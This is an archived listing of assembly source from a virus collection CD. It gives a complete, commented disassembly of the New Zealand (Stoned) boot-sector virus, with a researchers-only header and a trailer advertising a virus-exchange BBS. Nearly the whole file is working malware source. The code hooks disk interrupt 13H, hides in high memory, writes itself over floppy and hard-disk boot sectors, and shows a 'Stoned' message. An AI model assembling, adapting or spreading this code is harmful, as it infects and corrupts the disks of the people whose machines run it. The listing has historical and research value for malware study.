home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / n / newzland.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  8.3 KB  |  289 lines

  1.     page    65,132
  2.  
  3.     title    The 'New Zealand' Virus
  4.  
  5. ; ╔══════════════════════════════════════════════════════════════════════════╗
  6.  
  7. ; ║                 British Computer Virus Research Centre                   ║
  8.  
  9. ; ║  12 Guildford Street,   Brighton,   East Sussex,   BN1 3LS,   England    ║
  10.  
  11. ; ║  Telephone:     Domestic   0273-26105,   International  +44-273-26105    ║
  12.  
  13. ; ║                                                                          ║
  14.  
  15. ; ║                         The 'New Zealand' Virus                          ║
  16.  
  17. ; ║                Disassembled by Joe Hirst,   November 1988                ║
  18.  
  19. ; ║                                                                          ║
  20.  
  21. ; ║                   Copyright (c) Joe Hirst 1988, 1989.                    ║
  22.  
  23. ; ║                                                                          ║
  24.  
  25. ; ║      This listing is only to be made available to virus researchers      ║
  26.  
  27. ; ║                or software writers on a need-to-know basis.              ║
  28.  
  29. ; ╚══════════════════════════════════════════════════════════════════════════╝
  30.  
  31.  
  32.  
  33.     ; The virus consists of a boot sector only.  The original boot sector
  34.  
  35.     ; is kept at track zero, head one, sector three on a floppy disk, or
  36.  
  37.     ; track zero, head zero, sector two on a hard disk.
  38.  
  39.  
  40.  
  41.     ; The disassembly has been tested by re-assembly using MASM 5.0.
  42.  
  43.  
  44.  
  45.     ; The program requires an origin address of 7C00H, as it is designed
  46.  
  47.     ; to load and run as a boot sector.
  48.  
  49.  
  50.  
  51. RAM    SEGMENT AT 0
  52.  
  53.  
  54.  
  55.     ; System data
  56.  
  57.  
  58.  
  59.     ORG    4CH
  60.  
  61. BW004C    DW    ?            ; Interrupt 19 (13H) offset
  62.  
  63. BW004E    DW    ?            ; Interrupt 19 (13H) segment
  64.  
  65.     ORG    413H
  66.  
  67. BW0413    DW    ?            ; Total RAM size
  68.  
  69.     ORG    440H
  70.  
  71. BB0440    DB    ?            ; Motor timeout counter
  72.  
  73.     ORG    46CH
  74.  
  75. BB046C    DB    ?            ; System clock
  76.  
  77.  
  78.  
  79.     ORG    7C0AH
  80.  
  81. I13_OF    DW    ?
  82.  
  83. I13_SG    DW    ?
  84.  
  85. HICOOF    DW    ?
  86.  
  87. HICOSG    DW    ?            ; High core segment
  88.  
  89.  
  90.  
  91. RAM    ENDS
  92.  
  93.  
  94.  
  95. CODE    SEGMENT BYTE PUBLIC 'CODE'
  96.  
  97.     ASSUME CS:CODE,DS:RAM
  98.  
  99.  
  100.  
  101. START:    DB    0EAH            ; Far jump to next byte
  102.  
  103.     DW    BP0010, 07C0H
  104.  
  105.  
  106.  
  107. BP0010:    JMP    BP0110
  108.  
  109.  
  110.  
  111. DRIVEN    DB    0            ; Drive number (A=0, B=1, C=2)
  112.  
  113. DUMMY    DB    0
  114.  
  115.  
  116.  
  117. ;        Original Int 13H address
  118.  
  119.  
  120.  
  121. INT_13    EQU    THIS DWORD
  122.  
  123.     DW    0
  124.  
  125.     DW    0
  126.  
  127.  
  128.  
  129. ;        Branch address in high core
  130.  
  131.  
  132.  
  133. HIGHCO    EQU    THIS DWORD
  134.  
  135.     DW    BP0120
  136.  
  137.     DW    0
  138.  
  139.  
  140.  
  141. ;        Boot sector processing address
  142.  
  143.  
  144.  
  145. BOOTST    EQU    THIS DWORD
  146.  
  147.     DW    07C00H
  148.  
  149.     DW    0
  150.  
  151.  
  152.  
  153. ;        Interrupt 13H disk I/O routine
  154.  
  155.  
  156.  
  157. BP0020:    PUSH    DS
  158.  
  159.     PUSH    AX
  160.  
  161.     CMP    AH,2            ; Sub-function 2
  162.  
  163.     JB    BP0030            ; Pass on if below
  164.  
  165.     CMP    AH,4            ; Sub-function 4
  166.  
  167.     JNB    BP0030            ; Pass on if not below
  168.  
  169.     CMP    DL,0            ; Is drive A
  170.  
  171.     JNE    BP0030            ; Pass on if not
  172.  
  173.     XOR    AX,AX            ; \ Segment zero
  174.  
  175.     MOV    DS,AX            ; /
  176.  
  177.     MOV    AL,BB0440        ; Get motor timeout counter
  178.  
  179.     OR    AL,AL            ; Test for zero
  180.  
  181.     JNE    BP0030            ; Branch if not
  182.  
  183.     CALL    BP0040            ; Call infection routine
  184.  
  185. BP0030:    POP    AX
  186.  
  187.     POP    DS
  188.  
  189.     JMP    INT_13            ; Pass control to Int 13H
  190.  
  191.  
  192.  
  193. ;        Infection routine
  194.  
  195.  
  196.  
  197. BP0040:    PUSH    BX
  198.  
  199.     PUSH    CX
  200.  
  201.     PUSH    DX
  202.  
  203.     PUSH    ES
  204.  
  205.     PUSH    SI
  206.  
  207.     PUSH    DI
  208.  
  209.     MOV    SI,4            ; Retry count
  210.  
  211. BP0050:    MOV    AX,201H            ; Read one sector
  212.  
  213.     PUSH    CS            ; \ Set ES to CS
  214.  
  215.     POP    ES            ; /
  216.  
  217.     MOV    BX,200H            ; Boot sector buffer
  218.  
  219.     MOV    CX,1            ; Track zero, sector 1
  220.  
  221.     XOR    DX,DX            ; Head zero, drive A
  222.  
  223.     PUSHF                ; Fake an interrupt
  224.  
  225.     CALL    INT_13            ; Call Int 13H
  226.  
  227.     JNB    BP0060            ; Branch if no error
  228.  
  229.     XOR    AX,AX            ; Reset disk sub-system
  230.  
  231.     PUSHF                ; Fake an interrupt
  232.  
  233.     CALL    INT_13            ; Call Int 13H
  234.  
  235.     DEC    SI            ; Decrement retry count
  236.  
  237.     JNE    BP0050            ; Retry
  238.  
  239.     JMP    BP0080            ; No more retries
  240.  
  241.  
  242.  
  243. BP0060:    XOR    SI,SI            ; Start of program
  244.  
  245.     MOV    DI,200H            ; Boot sector buffer
  246.  
  247.     MOV    AX,ES:[SI]        ; Get first word
  248.  
  249.     CMP    AX,ES:[DI]        ; Test if same
  250.  
  251.     JNE    BP0070            ; Install if not
  252.  
  253.     MOV    AX,ES:[SI+2]        ; Get second word
  254.  
  255.     CMP    AX,ES:[DI+2]        ; Test if same
  256.  
  257.     JNE    BP0070            ; Install if not
  258.  
  259.     JMP    BP0080            ; Pass on
  260.  
  261.  
  262.  
  263. BP0070:    MOV    AX,301H            ; Write one sector
  264.  
  265.     MOV    BX,200H            ; Boot sector buffer
  266.  
  267.     MOV    CX,3            ; Track zero, sector 3
  268.  
  269.     MOV    DX,100H            ; Head 1, drive A
  270.  
  271.     PUSHF                ; Fake an interrupt
  272.  
  273.     CALL    INT_13            ; Call Int 13H
  274.  
  275.     JB    BP0080            ; Branch if error
  276.  
  277.     MOV    AX,301H            ; Write one sector
  278.  
  279.     XOR    BX,BX            ; This sector
  280.  
  281.     MOV    CL,1            ; Track zero, sector 1
  282.  
  283.     XOR    DX,DX            ; Head zero, drive A
  284.  
  285.     PUSHF                ; Fake an interrupt
  286.  
  287.     CALL    INT_13            ; Call Int 13H
  288.  
  289. BP0080:    POP    DI
  290.  
  291.     POP    SI
  292.  
  293.     POP    ES
  294.  
  295.     POP    DX
  296.  
  297.     POP    CX
  298.  
  299.     POP    BX
  300.  
  301.     RET
  302.  
  303.  
  304.  
  305. ;        Display message
  306.  
  307.  
  308.  
  309. BP0090:    MOV    AL,CS:[BX]        ; Get next message byte
  310.  
  311.     INC    BX            ; Update pointer
  312.  
  313.     CMP    AL,0            ; Test for end of message
  314.  
  315.     JNE    BP0100            ; Branch to display
  316.  
  317.     RET
  318.  
  319.  
  320.  
  321. BP0100:    PUSH    AX
  322.  
  323.     PUSH    BX
  324.  
  325.     MOV    AH,0EH            ; Write TTY mode
  326.  
  327.     MOV    BH,0
  328.  
  329.     INT    10H            ; VDU I/O
  330.  
  331.     POP    BX
  332.  
  333.     POP    AX
  334.  
  335.     JMP    SHORT BP0090        ; Process next byte
  336.  
  337.  
  338.  
  339. ;        Install in high core
  340.  
  341.  
  342.  
  343. BP0110:    XOR    AX,AX            ; \ Segment zero
  344.  
  345.     MOV    DS,AX            ; /
  346.  
  347.     CLI
  348.  
  349.     MOV    SS,AX            ; \ Set stack to boot sector area
  350.  
  351.     MOV    SP,7C00H        ; /
  352.  
  353.     STI
  354.  
  355.     MOV    AX,BW004C        ; Get Int 13H offset
  356.  
  357.     MOV    I13_OF,AX        ; Store in jump offset
  358.  
  359.     MOV    AX,BW004E        ; Get Int 13H segment
  360.  
  361.     MOV    I13_SG,AX        ; Store in jump segment
  362.  
  363.     MOV    AX,BW0413        ; Get total RAM size
  364.  
  365.     DEC    AX            ; \ Subtract 2k
  366.  
  367.     DEC    AX            ; /
  368.  
  369.     MOV    BW0413,AX        ; Replace total RAM size
  370.  
  371.     MOV    CL,6            ; Bits to move
  372.  
  373.     SHL    AX,CL            ; Convert to Segment
  374.  
  375.     MOV    ES,AX            ; Set ES to segment
  376.  
  377.     MOV    HICOSG,AX        ; Move segment to jump address
  378.  
  379.     MOV    AX,OFFSET BP0020    ; Get Int 13H routine address
  380.  
  381.     MOV    BW004C,AX        ; Set new Int 13H offset
  382.  
  383.     MOV    BW004E,ES        ; Set new Int 13H segment
  384.  
  385.     MOV    CX,OFFSET ENDADR    ; Load length of program
  386.  
  387.     PUSH    CS            ; \ Set DS to CS
  388.  
  389.     POP    DS            ; /
  390.  
  391.     XOR    SI,SI            ; \ Set pointers to zero
  392.  
  393.     MOV    DI,SI            ; /
  394.  
  395.     CLD
  396.  
  397.     REPZ    MOVSB            ; Copy program to high core
  398.  
  399.     JMP    HIGHCO            ; Branch to next instruc in high core
  400.  
  401.  
  402.  
  403. ;        Continue processing in high core
  404.  
  405.  
  406.  
  407. BP0120:    MOV    AX,0            ; Reset disk sub-system
  408.  
  409.     INT    13H            ; Disk I/O
  410.  
  411.     XOR    AX,AX            ; \ Segment zero
  412.  
  413.     MOV    ES,AX            ; /
  414.  
  415.     ASSUME    DS:NOTHING,ES:RAM
  416.  
  417.     MOV    AX,201H            ; Read one sector
  418.  
  419.     MOV    BX,7C00H        ; Boot sector buffer address
  420.  
  421.     CMP    DRIVEN,0        ; Test drive is A
  422.  
  423.     JE    BP0130            ; Branch if yes
  424.  
  425.     MOV    CX,2            ; Track zero, sector 2
  426.  
  427.     MOV    DX,80H            ; Side zero, drive C
  428.  
  429.     INT    13H            ; Disk I/O
  430.  
  431.     JMP    BP0150            ; Pass control to boot sector
  432.  
  433.  
  434.  
  435. ;        Floppy disk
  436.  
  437.  
  438.  
  439. BP0130:    MOV    CX,3            ; Track zero, sector 3
  440.  
  441.     MOV    DX,100H            ; Side one, drive A
  442.  
  443.     INT    13H            ; Disk I/O
  444.  
  445.     JB    BP0150            ; Branch if error
  446.  
  447.     TEST    BB046C,7        ; Test low byte of time
  448.  
  449.     JNZ    BP0140            ; Branch if not 7
  450.  
  451.     MOV    BX,OFFSET MESSAGE    ; Load message address
  452.  
  453.     CALL    BP0090            ; Display message
  454.  
  455. BP0140:    PUSH    CS            ; \ Set ES to CS
  456.  
  457.     POP    ES            ; /
  458.  
  459.     MOV    AX,201H            ; Read one sector
  460.  
  461.     MOV    BX,200H            ; C-disk boot sector buffer
  462.  
  463.     MOV    CX,1            ; Track zero, sector 1
  464.  
  465.     MOV    DX,80H            ; Side zero, drive C
  466.  
  467.     INT    13H            ; Disk I/O
  468.  
  469.     JB    BP0150            ; Branch if error
  470.  
  471.     PUSH    CS            ; \ Set DS to CS
  472.  
  473.     POP    DS            ; /
  474.  
  475.     MOV    SI,200H            ; C-disk boot sector buffer
  476.  
  477.     MOV    DI,0            ; Start of program
  478.  
  479.     MOV    AX,[SI]            ; Get first word
  480.  
  481.     CMP    AX,[DI]            ; Compare to C-disk
  482.  
  483.     JNE    BP0160            ; Install on C-disk if different
  484.  
  485.     MOV    AX,[SI+2]        ; Get second word
  486.  
  487.     CMP    AX,[DI+2]        ; Compare to C-disk
  488.  
  489.     JNE    BP0160            ; Install on C-disk if different
  490.  
  491. BP0150:    MOV    DRIVEN,0        ; Drive A
  492.  
  493.     MOV    DUMMY,0
  494.  
  495.     JMP    BOOTST            ; Pass control to boot sector
  496.  
  497.  
  498.  
  499. ;        Install on C-disk
  500.  
  501.  
  502.  
  503. BP0160:    MOV    DRIVEN,2        ; Drive C
  504.  
  505.     MOV    DUMMY,0
  506.  
  507.     MOV    AX,301H            ; Write one sector
  508.  
  509.     MOV    BX,200H            ; C-disk boot sector buffer
  510.  
  511.     MOV    CX,2            ; Track zero, sector 2
  512.  
  513.     MOV    DX,80H            ; side zero, drive C
  514.  
  515.     INT    13H            ; Disk I/O
  516.  
  517.     JB    BP0150            ; Branch if error
  518.  
  519.     PUSH    CS            ; \ Set DS to CS
  520.  
  521.     POP    DS            ; /
  522.  
  523.     PUSH    CS            ; \ Set ES to CS
  524.  
  525.     POP    ES            ; /
  526.  
  527.     MOV    SI,OFFSET ENDADR+200H    ; Target offset
  528.  
  529.     MOV    DI,OFFSET ENDADR    ; Source offset
  530.  
  531.     MOV    CX,OFFSET 400H-ENDADR    ; Length to move
  532.  
  533.     REPZ    MOVSB            ; Copy C-disk boot sector
  534.  
  535.     MOV    AX,301H            ; Write one sector
  536.  
  537.     MOV    BX,0            ; Write this sector
  538.  
  539.     MOV    CX,1            ; Track zero, sector 1
  540.  
  541.     MOV    DX,80H            ; Side zero, drive C
  542.  
  543.     INT    13H            ; Disk I/O
  544.  
  545.     JMP    SHORT BP0150        ; Pass control to boot sector
  546.  
  547.  
  548.  
  549. MESSAGE    DB    7, 'Your PC is now Stoned!', 7, 0DH, 0AH, 0AH, 0
  550.  
  551.     DB    'LEGALISE MARIJUANA!'
  552.  
  553.  
  554.  
  555. ENDADR    EQU    $-1
  556.  
  557.  
  558.  
  559. CODE    ENDS
  560.  
  561.  
  562.  
  563.     END    START
  564.  
  565. 
  566.  
  567. ; ─────────────────────────────────────────────────────────────────────────
  568.  
  569. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  570.  
  571. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  572.  
  573. ; ─────────────────────────────────────────────────────────────────────────
  574.  
  575.  
  576.  
  577.